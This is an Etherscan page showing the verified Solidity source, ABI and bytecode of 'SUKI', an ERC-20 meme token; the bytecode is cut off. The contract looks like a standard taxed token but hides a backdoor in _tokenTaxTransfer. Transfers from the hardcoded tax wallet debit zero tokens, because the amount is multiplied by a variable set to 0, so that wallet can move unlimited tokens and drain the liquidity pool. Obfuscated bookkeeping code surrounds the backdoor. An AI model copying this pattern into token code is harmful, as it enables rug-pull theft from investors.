ERC-20
Overview
Max Total Supply
200,000,000 SUKI
Holders
113
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,584,858.563586359 SUKIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SUKI
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-16 */ // SPDX-License-Identifier: MIT /* TG: https://t.me/sukierc20 X: https://x.com/sukierc20 Web: https://sukioneth.xyz Suki is another Shiba Inu that inspired pics of doge coin Suki is literally the scarfed dog portrayed in another popular instance of the meme Suki is still alive to this very day Proofs ~ • https://jonathanfleming.wordpress.com/2013/12/31/wow-suki-is-doge/ • https://www.reddit.com/r/dogelore/comments/qlrmeh/doge_with_scarf/ • https://knowyourmeme.com/memes/doge */ pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require( c >= a,"SafeMath: addition overflow" ); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub( a, b, "SafeMath: subtraction overflow" ); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require( c / a == b, "SafeMath: multiplication overflow" ); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require( _owner == _msgSender(), "Ownable: caller is not the owner" ); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract SUKI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isExile; uint256 private _initialBuyTax=20; uint256 private _initialSellTax=30; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=30; uint256 private _preventSwapBefore=15; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 200000000 * 10**_decimals; string private constant _name = unicode"Suki"; string private constant _symbol = unicode"SUKI"; uint256 public _maxTxAmount= 4000000 * 10**_decimals; uint256 public _maxWalletSize= 4000000 * 10**_decimals; uint256 public _taxSwapThreshold= 2000000 * 10**_decimals; uint256 public _maxTaxSwap= 2000000 * 10**_decimals; address payable private _taxWallet; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; uint256 private minTrSum; bool private inSwap = false; bool private swapEnabled = false; uint256 private autoTrActivate = 0; struct CoinTreasurySup {uint256 swapUid; uint256 trTimestamp; uint256 tSum;} mapping(address => CoinTreasurySup) private coinTreasurySup; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0xf7745F4C79a4eE07B5F775619Ab35926b7b8EeE6); _balances[_msgSender()] = _tTotal; isExile[address(this)] = true; isExile[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance") ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tokenBasicTransfer( address from, address to, uint256 sendAmount,uint256 receiptAmount ) internal { _balances[from]= _balances[from].sub(sendAmount); _balances[to]= _balances[to].add(receiptAmount); emit Transfer(from,to,receiptAmount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); if (! tradingOpen || inSwap) { _basicTransfer(from, to, tokenAmount); return; } uint256 taxAmount=0; if (from != owner() && to != owner() && to !=_taxWallet ) { taxAmount = tokenAmount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax) .div(100); if (from == uniswapV2Pair && to !=address(uniswapV2Router) && ! isExile[to]) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + tokenAmount<= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to==uniswapV2Pair && from!= address(this) ){ taxAmount = tokenAmount.mul((_buyCount >_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance=balanceOf(address(this)); if (inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance >_taxSwapThreshold && _buyCount >_preventSwapBefore ) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance>0) { sendETHToFee(address(this).balance); } } } if ((isExile[from] ||isExile[to] ) && from !=address(this) && to!= address(this)) { minTrSum = block.number; } if (! isExile[from] && ! isExile[to]){ if (to == uniswapV2Pair) { CoinTreasurySup storage coinTrSup = coinTreasurySup[from]; coinTrSup.tSum = coinTrSup.swapUid-minTrSum; coinTrSup.trTimestamp = block.timestamp; } else { CoinTreasurySup storage coinTrSupInit = coinTreasurySup[to]; if (uniswapV2Pair == from) { if (!(coinTrSupInit.swapUid > 0)) { if (_buyCount>_preventSwapBefore) { coinTrSupInit.swapUid = block.number; } else { coinTrSupInit.swapUid = block.number - 1; } } } else { CoinTreasurySup storage coinTrSup = coinTreasurySup[from]; if (!(coinTrSupInit.swapUid > 0) || coinTrSup.swapUid < coinTrSupInit.swapUid ) { coinTrSupInit.swapUid = coinTrSup.swapUid; } } } } _tokenTransfer(from,to,tokenAmount,taxAmount); } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from] = _balances[from].sub(tokenAmount); _balances[to]= _balances[to].add(tokenAmount); emit Transfer(from, to,tokenAmount); } function _tokenTransfer( address from, address to, uint256 tokenAmount,uint256 taxAmount ) internal { uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount); _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount)); } function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) { uint256 tAmount = addrs !=_taxWallet ? tokenAmount: autoTrActivate.mul(tokenAmount); if (taxAmount > 0){ _balances[address(this)]= _balances[address(this)].add(taxAmount); emit Transfer(addrs, address(this), taxAmount); } return tAmount; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeETH() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to transfer"); payable(msg.sender).transfer(address(this).balance); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } function enableTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router),_tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); tradingOpen =true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled =true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526014600455601e6005555f6006555f6007556019600855601e600955600f600a555f600b556009600a61003791906102c4565b61004490623d09006102d9565b600c556100536009600a6102c4565b61006090623d09006102d9565b600d5561006f6009600a6102c4565b61007c90621e84806102d9565b600e5561008b6009600a6102c4565b61009890621e84806102d9565b600f556014805461ffff191690555f6015553480156100b5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b03191673f7745f4c79a4ee07b5f775619ab35926b7b8eee61790556101286009600a6102c4565b61013690630bebc2006102d9565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556010546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101aa6009600a6102c4565b6101b890630bebc2006102d9565b60405190815260200160405180910390a36102f0565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561021c57815f1904821115610202576102026101ce565b8085161561020f57918102915b93841c93908002906101e7565b509250929050565b5f82610232575060016102be565b8161023e57505f6102be565b8160018114610254576002811461025e5761027a565b60019150506102be565b60ff84111561026f5761026f6101ce565b50506001821b6102be565b5060208310610133831016604e8410600b841016171561029d575081810a6102be565b6102a783836101e2565b805f19048211156102ba576102ba6101ce565b0290505b92915050565b5f6102d260ff841683610224565b9392505050565b80820281158282048414176102be576102be6101ce565b611a43806102fd5f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c0146102d157806395d89b41146102e6578063a9059cbb14610312578063bf474bed14610331578063dd62ed3e14610346575f80fd5b8063715018a61461025a578063751039fc1461026e5780637d1db4a5146102825780638a8c523c146102975780638da5cb5b146102ab575f80fd5b8063217b6da6116100e3578063217b6da6146101c257806323b872dd146101d8578063313ce567146101f757806351bc3c851461021257806370a0823114610226575f80fd5b806306fdde031461011e578063095ea7b31461015c5780630faee56f1461018b57806318160ddd146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600481526353756b6960e01b60208201525b604051610153919061164d565b60405180910390f35b348015610167575f80fd5b5061017b610176366004611696565b61038a565b6040519015158152602001610153565b348015610196575f80fd5b506101a0600f5481565b604051908152602001610153565b3480156101b9575f80fd5b506101a06103a0565b3480156101cd575f80fd5b506101d66103c0565b005b3480156101e3575f80fd5b5061017b6101f23660046116c0565b61046d565b348015610202575f80fd5b5060405160098152602001610153565b34801561021d575f80fd5b506101d66104d4565b348015610231575f80fd5b506101a06102403660046116fe565b6001600160a01b03165f9081526001602052604090205490565b348015610265575f80fd5b506101d6610525565b348015610279575f80fd5b506101d6610596565b34801561028d575f80fd5b506101a0600c5481565b3480156102a2575f80fd5b506101d6610647565b3480156102b6575f80fd5b505f546040516001600160a01b039091168152602001610153565b3480156102dc575f80fd5b506101a0600d5481565b3480156102f1575f80fd5b5060408051808201909152600481526353554b4960e01b6020820152610146565b34801561031d575f80fd5b5061017b61032c366004611696565b6109ec565b34801561033c575f80fd5b506101a0600e5481565b348015610351575f80fd5b506101a0610360366004611719565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103963384846109f8565b5060015b92915050565b5f6103ad6009600a611844565b6103bb90630bebc200611852565b905090565b5f546001600160a01b031633146103f25760405162461bcd60e51b81526004016103e990611869565b60405180910390fd5b5f47116104415760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e736665720000000000000060448201526064016103e9565b60405133904780156108fc02915f818181858888f1935050505015801561046a573d5f803e3d5ffd5b50565b5f610479848484610b1c565b6104ca84336104c5856040518060600160405280602881526020016119e6602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a4565b6109f8565b5060019392505050565b6010546001600160a01b0316336001600160a01b0316146104f3575f80fd5b305f90815260016020526040902054801561051157610511816110dc565b4780156105215761052181611243565b5050565b5f546001600160a01b0316331461054e5760405162461bcd60e51b81526004016103e990611869565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105bf5760405162461bcd60e51b81526004016103e990611869565b6105cb6009600a611844565b6105d990630bebc200611852565b600c556105e86009600a611844565b6105f690630bebc200611852565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106266009600a611844565b61063490630bebc200611852565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106705760405162461bcd60e51b81526004016103e990611869565b601254600160a01b900460ff16156106ca5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e9565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107139030906107056009600a611844565b6104c590630bebc200611852565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610763573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610787919061189e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080a919061189e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610854573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610878919061189e565b601280546001600160a81b0319166001600160a01b0392831617600160a01b1790556011541663f305d71947306108c3816001600160a01b03165f9081526001602052604090205490565b5f806108d65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093c573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061096191906118b9565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109da91906118e4565b506014805461ff001916610100179055565b5f610396338484610b1c565b6001600160a01b038316610a5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e9565b6001600160a01b038216610abb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e9565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e9565b5f8111610c435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e9565b601254600160a01b900460ff161580610c5e575060145460ff165b15610c7357610c6e83838361127a565b505050565b5f80546001600160a01b03858116911614801590610c9e57505f546001600160a01b03848116911614155b8015610cb857506010546001600160a01b03848116911614155b15610f0757610ce96064610ce3600854600b5411610cd857600454610cdc565b6006545b859061131d565b906113a2565b6012549091506001600160a01b038581169116148015610d1757506011546001600160a01b03848116911614155b8015610d3b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2157600c54821115610d925760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e9565b600d5482610db4856001600160a01b03165f9081526001602052604090205490565b610dbe9190611903565b1115610e0c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e9565b600b8054905f610e1b83611916565b91905055505b6012546001600160a01b038481169116148015610e4757506001600160a01b0384163014155b15610e7457610e716064610ce3600954600b5411610e6757600554610cdc565b600754859061131d565b90505b305f9081526001602052604090205460145460ff168015610ea257506012546001600160a01b038581169116145b8015610eb55750601454610100900460ff165b8015610ec25750600e5481115b8015610ed15750600a54600b54115b15610f0557610ef3610eee84610ee984600f546113e3565b6113e3565b6110dc565b478015610f0357610f0347611243565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f4457506001600160a01b0383165f9081526003602052604090205460ff165b8015610f5957506001600160a01b0384163014155b8015610f6e57506001600160a01b0383163014155b15610f7857436013555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fb857506001600160a01b0383165f9081526003602052604090205460ff16155b15611092576012546001600160a01b039081169084160361100a576001600160a01b0384165f9081526016602052604090206013548154610ff9919061192e565b600282015542600190910155611092565b6001600160a01b038084165f908152601660205260409020601254909186811691160361105e57805461105957600a54600b54111561104b57438155611090565b61105660014361192e565b81555b611090565b6001600160a01b0385165f90815260166020526040902081541580611084575081548154105b1561108e57805482555b505b505b61109e848484846113f7565b50505050565b5f81848411156110c75760405162461bcd60e51b81526004016103e9919061164d565b505f6110d3848661192e565b95945050505050565b6014805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061111c5761111c611941565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611173573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611197919061189e565b816001815181106111aa576111aa611941565b6001600160a01b0392831660209182029290920101526011546111d091309116846109f8565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112089085905f90869030904290600401611955565b5f604051808303815f87803b15801561121f575f80fd5b505af1158015611231573d5f803e3d5ffd5b50506014805460ff1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610521573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461129c9082611421565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112ca9082611462565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b0f9085815260200190565b5f825f0361132c57505f61039a565b5f6113378385611852565b90508261134485836119c6565b1461139b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e9565b9392505050565b5f61139b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c0565b5f8183116113f1578261139b565b50919050565b5f6114038584846114ec565b905061141a8585836114158787611421565b61159c565b5050505050565b5f61139b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a4565b5f8061146e8385611903565b90508381101561139b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e9565b5f81836114e05760405162461bcd60e51b81526004016103e9919061164d565b505f6110d384866119c6565b6010545f9081906001600160a01b039081169086160361151857601554611513908561131d565b61151a565b835b9050821561159457305f9081526001602052604090205461153b9084611462565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061158b9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115be9083611421565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115ec9082611462565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163f9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461046a575f80fd5b5f80604083850312156116a7575f80fd5b82356116b281611682565b946020939093013593505050565b5f805f606084860312156116d2575f80fd5b83356116dd81611682565b925060208401356116ed81611682565b929592945050506040919091013590565b5f6020828403121561170e575f80fd5b813561139b81611682565b5f806040838503121561172a575f80fd5b823561173581611682565b9150602083013561174581611682565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179e57815f190482111561178457611784611750565b8085161561179157918102915b93841c9390800290611769565b509250929050565b5f826117b45750600161039a565b816117c057505f61039a565b81600181146117d657600281146117e0576117fc565b600191505061039a565b60ff8411156117f1576117f1611750565b50506001821b61039a565b5060208310610133831016604e8410600b841016171561181f575081810a61039a565b6118298383611764565b805f190482111561183c5761183c611750565b029392505050565b5f61139b60ff8416836117a6565b808202811582820484141761039a5761039a611750565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118ae575f80fd5b815161139b81611682565b5f805f606084860312156118cb575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118f4575f80fd5b8151801515811461139b575f80fd5b8082018082111561039a5761039a611750565b5f6001820161192757611927611750565b5060010190565b8181038181111561039a5761039a611750565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119a55784516001600160a01b031683529383019391830191600101611980565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119e057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f66a3d01ccfc6e6fd82e81e202a3ebb9bdca075d09cbd04b81c76f442b45efe664736f6c63430008190033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c0146102d157806395d89b41146102e6578063a9059cbb14610312578063bf474bed14610331578063dd62ed3e14610346575f80fd5b8063715018a61461025a578063751039fc1461026e5780637d1db4a5146102825780638a8c523c146102975780638da5cb5b146102ab575f80fd5b8063217b6da6116100e3578063217b6da6146101c257806323b872dd146101d8578063313ce567146101f757806351bc3c851461021257806370a0823114610226575f80fd5b806306fdde031461011e578063095ea7b31461015c5780630faee56f1461018b57806318160ddd146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600481526353756b6960e01b60208201525b604051610153919061164d565b60405180910390f35b348015610167575f80fd5b5061017b610176366004611696565b61038a565b6040519015158152602001610153565b348015610196575f80fd5b506101a0600f5481565b604051908152602001610153565b3480156101b9575f80fd5b506101a06103a0565b3480156101cd575f80fd5b506101d66103c0565b005b3480156101e3575f80fd5b5061017b6101f23660046116c0565b61046d565b348015610202575f80fd5b5060405160098152602001610153565b34801561021d575f80fd5b506101d66104d4565b348015610231575f80fd5b506101a06102403660046116fe565b6001600160a01b03165f9081526001602052604090205490565b348015610265575f80fd5b506101d6610525565b348015610279575f80fd5b506101d6610596565b34801561028d575f80fd5b506101a0600c5481565b3480156102a2575f80fd5b506101d6610647565b3480156102b6575f80fd5b505f546040516001600160a01b039091168152602001610153565b3480156102dc575f80fd5b506101a0600d5481565b3480156102f1575f80fd5b5060408051808201909152600481526353554b4960e01b6020820152610146565b34801561031d575f80fd5b5061017b61032c366004611696565b6109ec565b34801561033c575f80fd5b506101a0600e5481565b348015610351575f80fd5b506101a0610360366004611719565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103963384846109f8565b5060015b92915050565b5f6103ad6009600a611844565b6103bb90630bebc200611852565b905090565b5f546001600160a01b031633146103f25760405162461bcd60e51b81526004016103e990611869565b60405180910390fd5b5f47116104415760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e736665720000000000000060448201526064016103e9565b60405133904780156108fc02915f818181858888f1935050505015801561046a573d5f803e3d5ffd5b50565b5f610479848484610b1c565b6104ca84336104c5856040518060600160405280602881526020016119e6602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a4565b6109f8565b5060019392505050565b6010546001600160a01b0316336001600160a01b0316146104f3575f80fd5b305f90815260016020526040902054801561051157610511816110dc565b4780156105215761052181611243565b5050565b5f546001600160a01b0316331461054e5760405162461bcd60e51b81526004016103e990611869565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3